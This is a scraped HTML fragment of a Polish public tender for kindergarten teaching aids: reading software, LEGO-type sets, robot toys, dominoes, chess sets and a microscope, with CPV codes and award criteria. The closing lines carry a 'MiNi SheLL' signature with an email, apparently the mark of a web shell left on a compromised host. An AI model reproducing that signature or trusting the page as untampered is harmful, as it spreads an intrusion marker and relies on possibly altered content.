Ponad 50 ćwiczeń dla dzieci w wieku 4-7 lat! ? Poznawanie i rozróżnianie liter i cyfr ? Nauka i rozwój czytania i liczenia ? Gry przygotowujące do nauki w szkole Każde ćwiczenie ma aż trzy stopnie trudności, co pozwala łatwo dopasować je do umiejętności dziecka. Program śledzi i zapamiętuje postępy dziecka, a nagradzając sukcesy motywuje do dalszych ćwiczeń.",,Moje przedszkole - czytam i liczę 4-7 lat"	"MOJE PRZEDSZKOLE Czytam i liczę. 4-7 lat -- 1 szt.w zestawieponad 50 zroznicowanych gier i zabawzagadki, rymowanki, wierszyki i piosenkiprezentacja liter z wyjasnieniem ich roli w tworzeniu sylab i wyrazow kolejnosc i zasady wprowadzania liter zgodne z elementarzemnauka czytania poprzez sylabizowaniepoprawna wymowa głosek, budowa sylab i wyrazowpomoc kontekstowa dostepna w kazdej chwili pod prawym przyciskiem myszki nauka cyfr i liczbdziałania z zakresu dodawania i odejmowania oraz porownywanie liczb poziom zabaw dopasowany do mozliwosci dzieci w najnizszej grupie wiekowej".<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>48700000-5, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: 21<br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena</td><td style="border: 1px solid black;border-collapse: collapse;">60,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">gwarancja</td><td style="border: 1px solid black;border-collapse: collapse;">40,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>2</td><td><b>Nazwa: </b></td><td>pomoce dydaktyczne</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Cyfrowy wykrywacz metalu	Zabawka, wiek 8+ Długość rączki można nastawić według potrzeby. Posiada mały wyświetlacz, a znalezienie metalu sygnalizuje dźwięk. Wymiary 40 cm x 18,5 cm. Waga 600g. Wymagane baterie w zestawie.Wyścigówka, potężne silniki, Klocki typu LEGO lub równoważne	"Model typu 3 w 1: możliwość przebudowania na hot roda lub motorówkęOdpowiedni dla dzieci w wieku 6-12 latKlocki wyprodukowane według europejskich norm bezpieczeństwa."Samochód - krążownik, Klocki typu LEGO lub równoważne	"Zielony krążownik, Model typu 3 w 1: możliwość przerobienia na motorówkę lub ciężarówkę.Ilość klocków w zestawie: min.120Klocki wyprodukowane według europejskich norm bezpieczeństwa."Sprytny robot	"Zawartość:o 1 pokrywa górnao 1 duża oś z jednym zębemo 1 metalowy ciężareko 1 pokrywa obudowy bateriio 1 obudowa silnika z włącznikiem i kablamio 1 pokrywa obudowy silnikao 1 mała oś z dwoma zębamio krótkie wkrętyo 2 nasadki terminalio 1 długa śruba do mocowania klapek łączeniowycho 1 silniczek z kablami i dołączoną przekładnią ślimakowąo 1 podstawao 1 półkula z otworem na włączniko 1 półkula bez otworu1 miękki plastikowy pierścieńDodatkowo: 1 bateria typu AA 1,5 V"płytki budowlane - zestaw	"Zestaw zawiera: Płytę konstrukcyjną oraz Płytki: odcinek prosty i skrzyżowanie; materiał - plastik; dł. 255 mm; szer. - 7 mm; wys. - 255 mm; waga - 211 g. Wymiary: 32x32 wypustki lub 25 cm x 25 cm. Typu Lego lub równoważneKlocki wyprodukowane według europejskich norm bezpieczeństwa."Klocki podstawowe - zestaw na który składają się 2 opakowania	"Klasyczne klocki do kreatywnego budowaniaKlocki w 35 różnych kolorach zawiera takie elementy jak: okna, oczy i koła. Zestaw zawiera pomysły na pierwsze modele oraz wygodne plastikowe pudełkoZestaw zawiera 18 opon i 18 felg. Wśród elementów specjalnych są także: zielona płytka konstrukcyjna 8 cm x 16 cm, okno z ramą oraz 3 zestawy oczuKlocki typu Lego lub równoważneKlocki wyprodukowane według europejskich norm bezpieczeństwa."Klocki typu 3 w 1. Lego lub równoważne - zestaw (2+1+1)	"Klocki Robot-odkrywca - 2 opakowania na każde przedszkoleZestaw składa się z min. 205 plastikowych elementów.o Robot ma jasnozielone oczy, działające gąsienice, obracającą się głowę i korpus, a także ruchome ramiona ze szperaczem i działającym chwytakiem. o Model w kolorach błękitnym, czarnym i szarym. o Ramiona Robota-odkrywcy dają się ustawiać, a głowa i korpus są ruchome. Szperacz można włączyć, a gdy robot jest w ruchu, jego gąsienice się poruszają. o Zestaw ,,3 w 1": pozwala zbudować także model Psa-robota z włączanym plecakiem odrzutowym lub Ptaka-robota o świecących oczach. Klocki Potężne dinozaury 1 opakowanie na każde przedszkoleo Model T-Rexa posiada ruchome łapy i głowę, wielkie szpony oraz otwierającą się paszczę uzbrojoną w spiczaste zęby.o Zestaw typu ,,3 w 1": model można przerobić na triceratopsa lub pterodaktyla.Klocki Rodzinna willa 3w1 - 1 opakowanie na każde przedszkoleZestaw składa się z min. 728 plastikowych elementów.Z klocków można zbudować: rodzinną willę lub hotel golfowy lub willę letniskową z basenem. W zestawie są trzy minifigurki.- W zestawie trzy minifigurki: mężczyzna, kobieta i chłopiec oraz figurka psa do zbudowania.- Trójpoziomowa rodzinna willa ma czerwony dach, białą fasadę z wieloma oknami i kolorowymi detalami, ogród z drzewem, kosz do koszykówki, kominek na zewnątrz, skrzynkę na listy, budę dla psa oraz zewnętrzne schody prowadzące na pokryty kafelkami taras na piętrze z leżakiem do opalania.- Wewnątrz domu znajduje się szczegółowo urządzona kuchnia, stół, stolik do kawy i dwuosobowe łóżko.- Umieść minifigurkę w kabriolecie, by włączyć światła przednie w samochodzie.Klocki wyprodukowane według europejskich norm bezpieczeństwa."Klocki podstawowe typu lego duplo lub równoważne. Zestaw - (1 komplet - 7 opakowań klocków)	"Na 1 komplet składa się:1. Dom rodzinny2. Moje pierwsze pojazdy3. Miasteczko4. Na targu5. Wielka budowa6. Wesołe miasteczko7. Przygody na farmieDom rodzinny - Ilość klocków w zestawie min.: 69Zestaw zawiera: o trzy figurki ludzików: mama, tata i dziecko.o możliwość zbudowania trzypoziomowego, modułowego domu z kuchnią, w której znajduje się otwierany piekarnik, łazienką, w której jest toaleta, umywalka i otwierana szafką z lustrem, sypialnią z łóżkami, pokojem dziecinnym z otwieranymi oknami w jaskółkach, jadalnią na tarasie dachowym, wewnętrznymi półkami, otwieranymi drzwiami i samochodem.o ułatwiające wymyślanie historyjek klocki z rysunkami lustra, papieru toaletowego, budzika, piekarnika i misia.o akcesoria: garnek, talerz, bagietki, dzbanek, kubek, szczotkę i kwiaty.Moje pierwsze pojazdy, Ilość klocków w zestawie min.: 36 Zestaw zawiera:o W komplecie 3 podwozia, dźwig i dekorowane klocki o tematyce samochodowej .o Z dekorowanymi klockami przedstawiającymi różne okna, kierowców i pasażerów oraz stację uzupełniania wody.o Specjalny, dwustronny klocek z dekoracją sygnalizatora ulicznego zachęca do zabaw fabularnych.Miasteczko Ilość klocków w zestawie min.: 98Zestaw zawiera:o pięć figurek: mechanik, sprzedawca, lekarz, mama i dziecko.o możliwość zbudowania warsztatu z samochodem i platformą, którą można obrócić za pomocą kółek zębatych, sklep warzywny, lekarza, piekarnię z otwieranym piecem oraz dach z otwieranymi oknami w jaskółkach.o klocki z rysunkiem precla, owocu, jarzyn, ciasta, drzwi piekarnika, tablicy do badania wzroku, a także szyldy piekarni i mechanika.o akcesoria: wózek inwalidzki, dwie kasy, bagietki, automat z gumami do żucia, kosze z owocami, banany, kwiaty, słupek drogowy i dystrybutor paliwa.Na targu. Ilość klocków w zestawie min.:26Zestaw zawiera:o Zestaw zawiera trzy figurki: właścicielkę straganu na targu, tatę i dziecko, a także figurkę ptaszka.o Zestaw zawiera też stragan i samochód do zbudowania.o Akcesoria: kasa, dynie, jabłka i kolby kukurydzy.Wielka budowa Ilość klocków w zestawie min.: 67Zestaw zawiera:o 3 figurki robotników budowlanych z kaskami.o Zawiera buldożer na gąsienicach, ciężarówkę z funkcją wywrotki oraz dźwig z obrotową kabiną, ruchomym ramieniem i działającym chwytakiem.o Akcesoria: młot pneumatyczny, słupki drogowe i taczki.o W zestawie także klocki ukształtowane jak ceglana ściana oraz specjalne klocki z rysunkiem pudełka na drugie śniadanie i instrumentów kontrolnych ciężarówki.o 3 pojazdy można składać i przerabiać na wiele różnych sposobów.Wesołe miasteczko Ilość klocków w zestawie min.: 61Zestaw zawiera:o 4 figurki: mama, tata i dwoje dzieci.o Zestaw zawiera obracającą się karuzelę z czterema figurkami koników i funkcją koła zębatego, stragan z dwiema pofalowanymi zjeżdżalniami, kasę biletową z otwieranym oknem, automat z napojami oraz stół i krzesła.o W zestawie są także klocki z rysunkami miarki wzrostu, automatu z gumą do żucia, lodów i szyldu wejściowego do lunaparku, które ułatwią wymyślanie historyjek.o Akcesoria: aparat fotograficzny i kubek.Przygody na farmie. Ilość klocków w zestawie min.:104Zestaw zawiera:o trzy figurki: rolnik i dwoje dzieci, a także pięć figurek zwierząt: owca, krowa, koza, kogut i królik.odomek z sypialnią i toaletą na piętrze, stodołę z dzwonkiem, którym można poruszać za pomocą sznurka, a także traktor, ławkę piknikową i zjeżdżalnię.o Akcesoria: gofry, koryto, butelka mleka, klocek siana i widły. Klocki wyprodukowane według europejskich norm bezpieczeństwa."Klocki podstawowe typu lego classic lub równoważne	"Klocki podstawowe Ilość klocków w zestawie min.: 790Zestaw zawiera:- bogaty wybór klocków w 33 różnych kolorach,- 8 różnych typów okien i drzwi oraz 8 różnych ram,- 2 zielone płytki konstrukcyjne,- 3 zestawy oczu, - 6 opon,- 6 felg,- przykładowe pomysły dołączone do zestawu,- plastikowe pudełko na klocki.Zielone płytki konstrukcyjne wymiary: 16x16 cm oraz 12x6 cmKlocki wyprodukowane według europejskich norm bezpieczeństwa."Klocki typu lego lub równoważne - zestaw	"Patrol strażackiIlość klocków w zestawie min.: 110Zestaw zawiera:- Zestaw zawiera dwie minifigurki strażaków.- W zestawie łatwa do złożenia strażacka furgonetka z przedziałem ładunkowym z tyłu oraz przyczepą z regulowanym wysięgnikiem, motocykl i opuszczony dom, który ma otwierane drzwi i okna.Domek nad jeziorem StephanieIlość klocków w zestawie min: 215Zestaw zawiera:- W zestawie trzy minilaleczki: Stephanie, Andrea i Olivia oraz figurka pieska Dasha.- Piętrowy, modułowy domek nad jeziorem składa się z podstawki i ściany startowej z otwieranymi drzwiami. W środku jest kuchnia, salon i sypialnia, a na zewnątrz kosz do koszykówki wiszący na ścianie oraz ognisko otoczone siedzeniami.- W komplecie są także trzy skutery wodne do zbudowania.- Akcesoria: gitara, trzy puchary, piłka do koszykówki, miska dla psa, kość, szklanka koktajlowa, kubek, dwie wiśnie, dwie torebki, karton soku, okulary przeciwsłoneczne, kokarda, koło ratunkowe, bumerang, walizka, trzy kamizelki ratunkowe, klocek przedstawiający płomień, dwie boje do oznaczenia trasy, boja z flagą w kratkę, klucz, telewizor, telefon komórkowy i słuchawki Andrei. W komplecie jest także podium na puchary do zbudowania, lodówka z blenderem i trzy patyki z piankami do pieczenia.Klocki wyprodukowane według europejskich norm bezpieczeństwa."Samochód zdalnie sterowany - zestaw: 2+2	"RC Lamborghini Aventador LP700-4 - Lamborghini Aventador LP700-4 w skali 1:26 zdalnie sterowane. Efekty świetlne. W zestawie baterie 3xAA, pilot 1x9V Pojazd zdalnie sterowany z ładowarką 1:18 - Format: 32x23x18 cmPojazd zdalnie sterowany terenowy, w skali 1:18. Wzmacniane amortyzatory, specjalne struktury antykolizyjne, opony dopasowane do każdej nawierzchni.Dodatkowo: 3 baterie typu AA, pilot - 1x9V"Roboty - komplet	"Zestaw solarny Kosmiczna Flota 7w1 - 2 szt. na każde przedszkoleZestaw Solarny 7 w 1 to zestaw dla małego konstruktora, uczący wykorzystywać energię słoneczną do zasilania różnego rodzaju urządzeń.Zestaw umożliwia zbudowanie 7 różnych pojazdów kosmicznych takich jak: stacja kosmiczna, robot kosmiczny, astronauta, wahadłowiec, przeszukiwacz, kosmiczny pies oraz sonda do przeszukiwania przestrzeni.ZABAWKA KREATYWNA PAJĄK ROBOT - 2 szt. na każde przedszkole - sprytny krabW skład zestawu wchodzą:części do złożenia pająka, silniczek,2x sprężynki, gumowa rurka, instrukcja montażuCałość podpina się do specjalnie zabezpieczonego panelu, który uruchamiany jest baterią. Robot porusza się dołączonemu do zestawu silniczkowiDodatkowo: 1 bateria typu AA 1,5VRobopiesek - 2 szt. na każde przedszkolewersja polskaInteraktywny Robopiesek, który dzięki zaawansowanej technologii odbiera bodźce. Reaguje na głos, dotyk, gestykulację, dźwięk a nawet światło. Robopiesek chodzi, siada, porusza uszami, glową, macha ogonem. Potrafi także szczekać, skomleć a za pomocą ekspresji oczu okazywać uczucia. Zasypia w nocy, płacze gdy jest pozostawiony samotnie zbyt długo. Dzięki supernowoczesnym czujnikom, rozpoznaje, kiedy jest karmiony, kiedy się do niego mówi lub kiedy ktoś się z nim bawi. Wyposażony jest w najnowsze osiągnięcie Robotyki - sterowanie gestem dłoni. Za pomocą prostych gestów, możesz nakazać pieskowi, żeby zatrzymał się, usiadł. To niesamowite jak bardzo przypomina zachowaniem prawdziwego szczeniaczkaWymiary zabawki: 22 x 18 x 14 cm. (D x W x S)Dodatkowo: 4 szt. baterie AA/LR6Roboty przypominające insekty - 4 szt. na każde przedszkoleminiaturowy robocik, który posiada wyjątkowy system poruszania się, dzięki któremu jest szybki, samodzielnie pokonuje napotkaną przeszkodę oraz posiada umiejętność odwrócenia się w przypadku wywrotki. Cechy produktu : o autonomiczne poruszanie,o mieści się w dłoni,o wymiary: 1.4 x 1.7 x 4.3 cm.zasilanie: 1 bateria AG13 (w zestawie)Edukacyjny Robot Solarny 3x1. - 2 szt. w zestawieTo zestaw dla małego konstruktora, uczący wykorzystywać energię słoneczną do zasilania różnego rodzaju urządzeń. Korzystając z Tego Zestawu Solarnego Można Zbudować: 1. Robot (Transformers),2. Czołg, 3. SkorpionCechy Produktu:-zestaw konstrukcyjny pozwalający na zbudowanie trzech różnych pojazdów-robotów napędzanych energią słoneczną.- Ciekawa zabawka edukacyjno-rozwojowa, która uczy dziecko podstaw techniki, jednocześnie edukując w zakresie ekologii,- Komplet składa się z min. 76 elementów, które łatwo się ze sobą łączą,- W każdej z zbudowanych zabawek znajduje się mały silniczek, który napędzany jest za pomocą baterii słonecznej.- W zestawie drukowana obrazkowa instrukcja składania.INTERAKTYWNY ROBOT SOLARNY DUŻY ZESTAW14w1 - 2 szt. w zestawieZestaw Solarny 14 w 1 to zestaw dla małego konstruktora, uczący wykorzystywać energię słoneczną do zasilania różnego rodzaju urządzeń.Korzystając z tego zestawu solarnego można zbudować :- Robot żółw: 12.3 x 8.5 x 6.5 cm- Robot chodzik: 8 x 6 x 8,5 cm- Robot auto: 8,6 x 7 x 8,5 cm - Robot dwukołowiec: 17.1 x 9.3 x 9.5 cm- Robot łódź: 18,2 x 25,5 x 9 cm - Robot chrabąszcz: 11.5 x 9.4 x 8.5 cm- Robot pies: 12 x 7.2 x 9 cm- Robot kwadrobot: 13 x 7 x 10 cm - Robot krab: 9,2 x 9 x 8 cm - Robot ślizgacz: 15 x 9 x 9.5 cm - Robot kajak: 7.7 x 9.3 x 9.3 cm - Robot Zombie: 8,5 x 8,5 x 13,7 cm- Robot Surfer: 29 x 17,5 x 8 cm- Robot kręciołek: 18.7 x 25.5 x 10 cmMówiący robot edukacyjny - 2 szt. w zestawieZestaw zawiera dwie plansze:Plansza nr 1 - możesz zaprogramować trasę wśród liter, zwierząt i kolorów z kartami do gry, dzięki czemu nauczysz się programować.Plansza nr 2 - możesz zbierać przedmioty zwiedzając miasto.Dodatkowo: Mówiący robot edukacyjny30 kart do gry16 dwustronnych kartek kierunkowychDodatkowo: 3 x 1,5V AAROBOT KNABO ONE sterowany dłonią PILOT - 2 szt. w zestawieKNABO SMART KOSMICZNY ZWIADOWCA- sterowanie gestami: sensor gestów dłoni- sterowany pilotem- chodzi, jeździ, porusza rękoma i tańczy- mówi w języku robotów, śpiewa i gra melodie; 26 cm wysokościSterowanie za pomocą gestów dłoni:- Dłoń postawiona pionowo: Knabo porusza się do tyłu- Gest przywołania: robot porusza się do przodu- Przesunięcie dłoni w prawą stronę: Robot obraca się w lewo- Przesunięcie dłoni w lewą stronę: Robot obraca się w prawointeraktywny robot - Robosapien mini - 2 szt. na każde przedszkole Potrafi samodzielnie chodzić, można poruszać jego ramionami, a także otwierać i zamykać mu dłonie. Dodatkowo oczy minirobota świecąCechy produktu: o samodzielnie chodzi, chwyta różne przedmiotyo wymiary: 10 x 17.8 x 20.8cmw zestawie: 2 baterie AAA"Strażak Sam zdalnie sterowany	"Zdalnie sterowany wóz strażacki z pilotem, z serii zabawek poświęconej Strażakowi Samowi, od Dickie Toys; pojazd 22 cmDodatkowo: baterie do nadajnika (TX)3x 1,5V LR03 i odbiornika (RX) 3x 1,5V LR6"Interaktywny Dinozaur	"Cechy Produktu: Pilot posiada następujące funkcje: - chodzenie wolno do przodu - chodzenie wolno do tyłu - szybko do przodu - szybko do tyłu - pytania matematyczne - quiz - piosenki - programowanie - nagrywanie i śpiewanie - odpowiedzi tak, nie. Dane Techniczne: Wymiary dinozaura 26 cm x 17 cm x 21 cm. Pilot 10 cm x 5,5 cm x 2,5 cm. Wymiary opakowania 25 cm x 31,5 cm x 19,5 cm. Opisywana zabawka to propozycja dla dzieci powyżej 3 roku życia, sugerowany wiek to 8 lat.Dodatkowo: 6baterii typu AA"Transformers	"TRANSFORMERS RID Activator Combiner, Sideswipe- wiek od 6 lat "pająk - robot zdalnie sterowany	"(Pająk) został wyposażony w pilot na podczerwień, umożliwiający zdalne sterowanie robotem. Obrotowa głowa pozwala na poruszanie się w dowolnym kierunku a święcąca dioda LED wskazuje konkretny kierunek ruchu robota.Cechy produktu : o zdalne sterowanie,o obrotowa głowa,o dioda LED wskazuje kierunek poruszania się robota,o wymiary: 9 x 7,57 x 9,25 cm.zasilanie: 5 baterii AG13 (w zestawie)."domina (ZESTAW: 5+5+5+3+2+1)	"Domino w drewnianym pudełku - 5 szt. w zestawie W zestawie 28 klocków i drewniane pudełko. Wymiary klocka: 4,5 x 2 cm Wymiary opakowania: 14,9 x 5 cmDomino dla dzieci - Farma - 5szt. w zestawieW zestawie znajduje się 28 drewnianych klocków domino z kolorowymi obrazkami, które przedstawiają zwierzątka żyjące na farmie takie jak: piesek, koń, kaczka, kogut, kotek, krówkaCałość wykonana z drewna lakierowanego, pomalowana bezpiecznymi dla dziecka farbami w żywe barwy.Domino drewniane Cars -5 szt. w zestawie Składa się z drewnianych elementów przedstawiających różnego rodzaju pojazdy. Wymiary opakowania: 22,5 x 22,5 x 4,7 cmDomino / Układanka - 3 szt. w zestawie Zestaw zawiera 28 dwustronnych kafelków: z połówkami obrazków z jednej i tradycyjnymi kropkami z drugiej strony. Zestaw zawiera 28 dużych (6 x 12 cm) dwustronnych kafelków.Domino dla dzieci 6 kolorów - 2 szt. w zestawie W zestawie znajdują się klocki w 6 kolorach. Na każdym klocku znajduje się odpowiednia ilość kropeczek. Chodzi o to, by odpowiednio dopasować poszczególne elementy domino zgodnie z pewnym ciągiem liczb. Metalowe ozdobne pudełko. Wymiary: kostka: ok. 5 x 2,5 x 1,5 cm; pudełko: ok. 19 x 11 x 3,5 cmDomino drewniane żabki 100 elementów - 1 szt. w zestawie Elementy: 100Produkt zapakowany w wiaderko z wieczkiem.Wymiary klocka 4.9 x 2.7cm; z motywem żabki 4,9 x 3.5cm."klocki do pomocy dydaktycznej - zestaw	Klocki zgodne z koncepcją pedagogiczną Dienesa stanowiące klasyczną pomoc dydaktyczną do nauki klasyfikowania elementów według różnorodnych cech. Figury różnią się kształtem, kolorem wielkością i grubością. Ćwiczenia z klockami logicznymi doskonalą umiejętność analizowania i porównywania, sortowania i grupowania w zbiory. Komplet zawiera 60 klocków różniących się kolorem, kształtem i wielkością, klocki są plastikowe, zamknięte w drewnianym pudełku. Zestaw zawiera: 60 klocków, 12 plansz (kart pracy) z przykładowymi zadaniami, 3 sznurki, instrukcję.drewniane klocki edukacyjne z cyferkami - zestaw	W komplecie 27 elementów z cyferkami i znakami matematycznymi po obu stronach klocka. Klocki mają kształt kwadratów o wymiarach 4 x 4 cm, grubość 1,5 cmszachy tarasowe	"komplet: Figury + SzachownicaFigury wykonane z tworzywa plastikowego,odpornego na warunki atmosferyczne.Wysokość króla: 30 cmśrednica podstawy: 9-11 cm.Szachownica wykonana z brezentu odpornego na warunki atmosferyczne.Szachownicę można myć, prać, bardzo szybko wysycha po ewentualnym zamoczeniu (np. deszcz).W każdym z rogów szachownica posiada wzmocniony otwór do przymocowania do podłoża.Wymiar jednego pola: 17 x 17 cmWymiar szachownicy 140 x 140 cm"szachy demonstracyjne	"Szachy demonstracyjne magnetyczne składane na pół o szachy demonstracyjne magnetyczne do zawieszenia na ścianie lub stojakuo plansza składana na pół, wykonana z blachy obudowanej ramą drewnianąo figury na magnes o całość zapakowana w kartono wymiar szachownicy: ok. 85 x 85 cm o wymiar pola szachowego 9 x 9 cm"mikroskop cyfrowy	"Dane techniczne:- oświetlenie: 8x LED - światło wzbudzające: białe z regulacją jasności - sensor: 1/4"" CMOS - rozdzielczość obrazu: maksymalnie 2MP - kolor: 24 bit RGB - zakres ostrości: manualna regulacja od 10 mm do nieskończoności - zakres powiększenia: 10x-250x - format Video: AVI - format obrazów statycznych: JPG lub BMP - balans koloru: automatyczny - interfejs PC: USB 2.0 - długość przewodu USB: 1,9 m - system operacyjny: 32-bit MS Windows XP / Vista, Windows 7 - zasilanie: 5V z portu USB - oprogramowanie: Delta Optical Smart Analysis 1.0 - wymiary kamery: 35x35x120 - waga: 105 g Dwa lata gwarancji. hodowla kryształów (3 gatunki) - zestawy	"Hodowla kryształów: 3 wzory - po 8 szt. w zestawieZestaw doświadczalny dla dzieci umożliwiający wyhodowanie kryształów w trzech wersjach kryształów i kształtów. Zawartość: opakowanie krystalicznego proszku małe opakowanie zawierające niebieską mieszankę hodowlaną, krystaliczna baza świecącego w ciemności księżycowego kryształu ekspozytory na kryształy szablon, miska i łyżka".<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>39162100-6, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: 21<br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena</td><td style="border: 1px solid black;border-collapse: collapse;">60,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">gwarancja</td><td style="border: 1px solid black;border-collapse: collapse;">40,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/> </div> <br /> <br /> </div> <br /> <br /> <table> <tr> <td> </td> </tr> </table> </div> <script type="text/javascript">//<![CDATA[//]]></script>

Creat By MiNi SheLL
Email: jattceo@gmail.com